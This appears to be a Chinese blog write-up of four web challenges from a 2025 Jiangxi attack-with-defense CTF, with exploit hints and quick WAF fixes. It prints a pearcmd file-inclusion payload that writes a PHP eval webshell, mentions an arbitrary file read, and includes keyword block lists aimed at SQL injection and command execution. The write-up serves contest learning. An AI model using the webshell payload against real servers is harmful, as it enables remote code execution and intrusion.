2025江西省信息安全技术大赛线下AWDPweb方向

web1(服务)

题目提示: ffffllll44ggg.php  

break

view_file.php下存在任意文件读取

打开后即可获得flag

fix

修的话当时是修的文件上传的地方,提示是后面才放出来的

upload.php源码如下

关键代码分析:



$file = strtolower(substr($filename, strrpos($filename, '.') + 1));
    $uploadFile = $uploadDir . md5($filename).".".$file;
//对原文件名做md5编码,再拼接上原文件名最后一个.后面的扩展名(小写)

strtolower:将字符串转化为小写

strrpos:计算指定字符串在目标字符串中最后一次出现的位置

web2(图床)

题目提示

可以采用移除手段尝试修复

账号密码:admin/imgImg1mg

尝试利用exiftool进行攻击

fix

app.py下发现Sql注入语句,并且无任何过滤

对username,password上一层sql注入的简单waf



        blacklist = [''', 'union', '"', 'select', '(', ')', '', '%']
        for i in blacklist:
            if i in username.lower():
                exit()
        for i in blacklist:
            if i in password.lower():
                exit()

web3(信息)

题目提示
账号密码:admin/a1c3cdf12c6609ff0 
尝试利用file://协议进行攻击  
尝试利用class.php进行防御  
class.php可以尝试利用 public function __wakeup() { $this->is_admin = false; }  

fix

class.php下存在反序列化

定位到输入参数admin.php

登录后也会跳转到admin.php,与class.php下的序列化内容一致

针对admin.php中cookie的user字段进行waf绕过



if(preg_match('/system|tail|flag|exec|base64|cat/i', $check)){
        $user = new user;

web4(found_cms)

题目提示:
当register_argc_argv配置打开时,文件包含可以使用什么隐藏命令  
可以采用 pearcmd的文件包含  
/?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php  
尝试利用page变量进行防御  
可以尝试利用config.php进行防御  
尝试利用蚁剑进行读取flag

break

根据题目提示,直接用/?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php 写入webshell

直接在主页传/?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php

后面就可以用蚁剑连接或者直接执行命令就行

fix

因为是使用page参数进行写webshell,所以对page参数上waf

/admin/index.php下就有page参数,且包含了config.php

所以直接在config.php下对page参数上waf



$str1 ="";
foreach ($_POST as $key => $value) {
    $str1.=$key;
    $str1.=$value;
}
$str2 ="";
foreach ($_GET as $key => $value) {
    $str2.=$key;
    $str2.=$value;
}
if (preg_match("/eval|system|tail|flag|'|"|<|{|}|exec|base64|phpinfo|<?|"/i", $str1)||preg_match("/eval|system|tail|flag|'|"|<|{|}|exec|base64|phpinfo|<?|"/i", $str2)) {
    die('no!');
}

最后感谢学长带我打AWDP,框框乱杀

© 版权声明
THE END
如果内容对您有所帮助,就支持一下吧!
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容